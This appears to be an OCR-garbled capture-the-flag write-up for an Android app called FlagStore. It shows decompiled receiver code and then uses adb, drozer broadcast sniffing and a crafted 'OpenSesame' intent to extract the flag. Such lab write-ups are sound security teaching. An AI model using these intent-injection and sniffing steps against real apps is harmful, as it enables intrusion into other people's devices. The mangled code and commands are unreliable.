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package com.flagstore.ctf.flagstore;

import android.app.Activity;

import android.content.IntentFilter;

import android.os.Bundle;

import android.widget.TextView;

import com.flagstore.ctf.flagstore.Manifest.permission;

public class MainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
TextView tv = new TextView(getApplicationContext());
tv.setText("To-do: UI pending");
setContentView(tv);
IntentFilter filter = new IntentFilter();
filter.addAction("com.flagstore.ctf.INCOMING_INTENT");
registerReceiver(new Send_to_Activity(), filter, permission._MSG, null);
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package com.flagstore.ctf.flagstore;

import android.content.BroadcastReceiver;
import android.content.Context;

import android.content.Intent;

import android.util.Log;

import android.widget.Toast;

public class Send_to_Activity extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
if (intent.getStringExtra("msg").equalsIgnoreCase("OpenSesame")) {
Log.d("Here", "Intent");
context.startActivity(new Intent(context, CTFReceiver.class));
return;

}

Toast.makeText(context, "Ah, ah, ah, you didn't say the magic word!", 1).show();
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content.Intent;

.0s.Bundle;

support.v7.app.AppCompatActivity;

.view.View;
.view.View.OnClickListener;
.widget.Button;
.widget.TextView;

public class CTFReceiver extends AppCompatActivity {

class C01581 implements OnClickListener {
C01581() {

}

public

void onClick(View v) {

Intent intent = new Intent();

intent.setAction("com.flagstore.ctf.OUTGOING_INTENT");

String a = CTFReceiver.this.getResources().getString(CO159R.string.str3) + "fpcMpwfFurWGlWu uDl
String b = Utilities.doBoth(CTFReceiver.this.getResources().getString(C0159R.string.passphrase)
String name = getClass().getName().split("\\.")[4];

intent.putExtra("msg", CTFReceiver.this.getPhrase(a, b, Utilities.doBoth(name.substring(@, name

CTFReceiver.this.sendBroadcast(intent);

public native String getFlag(String str, String str2, String str3);

public native String getPhrase(String str, String str2, String str3);

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

new TextView(this).setText("Clever Person!");

Button

button.

button = new Button(this);
setText("Broadcast");

setContentView((View) button);
button.setOnClickListener(new C01581());

static {
System.loadLibrary("native-1ib");
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apt-cache search linux-image|grep kali
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linux-headers-4.13.0-kalil-amd64 - Header files for Linux 4.13.0-kalil-amdé4
linux-image-4.13.0-kalil-amd64 - Linux 4.13 for 64-bit PCs
linux-image-4.13.0-kalil-amd64-dbg - Debug symbols for linux-image-4.13.0-kalil-amd64
linux-headers-4.13.0-kalil-686 - Header files for Linux 4.13.0-kalil-686
linux-headers-4.13.0-kalil-686-pae - Header files for Linux 4.13.0-kalil-686-pae
linux-image-4.13.0-kalil-686 - Linux 4.13 for older PCs
linux-image-4.13.0-kalil-686-dbg - Debug symbols for linux-image-4.13.0-kalil-686
linux-image-4.13.0-kalil-686-pae - Linux 4.13 for modern PCs
linux-image-4.13.0-kalil-686-pae-dbg - Debug symbols for linux-image-4.13.0-kalil-686-pae
linux-image-4.6.0-kalil-amd64 - Linux 4.6 for 64-bit PCs
linux-headers-4.12.0-kali2-amd64 - Header files for Linux 4.12.0-kali2-amd64
linux-image-4.12.0-kali2-amd64 - Linux 4.12 for 64-bit PCs
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apt-get install linux-headers-4.13.0-kalil-amdé64

apt-get install linux-image-4.13.0-kalil-amd64
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root@kali: adb devices
List of devices attached
192.168.57.101:5555 device
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/opt/genymobile/genymotion# drozer agent build
I: Using Apktool 2.2.4 on standard-agent.apk

Done: /tmp/xxxxxx/agent.apk

A J5 E#adb install—¥%, & H flagent.apk:

root@kali:adb install /tmp/xxxxxx/agent.apk
Success

root@kali:adb install flagstore.apk

Success

RIGEFIFIT FFagent, REEE—T:

root@kali:adb forward tcp:31415 tcp:31415
root@kali:drozer console connect
Selecting 505c86a4845f7221 (Genymotion Samsung Galaxy S8 - 7.0.0 - API 24 - 1440x2960 7.9)

ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
. .nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes. .
..isandp, ..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid. .snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.3)
dz> run app.broadcast.sniff --action "com.flagstore.ctf.OUTGOING_INTENT"
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root@kali: adb shell
vbox86p:/ # su
vbox86p:/ # -a "com.flagstore.ctf.INCOMING_INTENT" --es msg "OpenSesame"



ARG IHE DR E T flag:

Action: com.flagstore.ctf.OUTGOING_INTENT
Raw: Intent { act=com.flagstore.ctf.OUTGOING_INTENT f1lg=0x10 (has extras) }
Extra: msg=CongratsGoodWorkYouFoundItIHopeYouUsedADBFlag:TheseIntentsAreFunAndEasyToUse (java.lang.Stri
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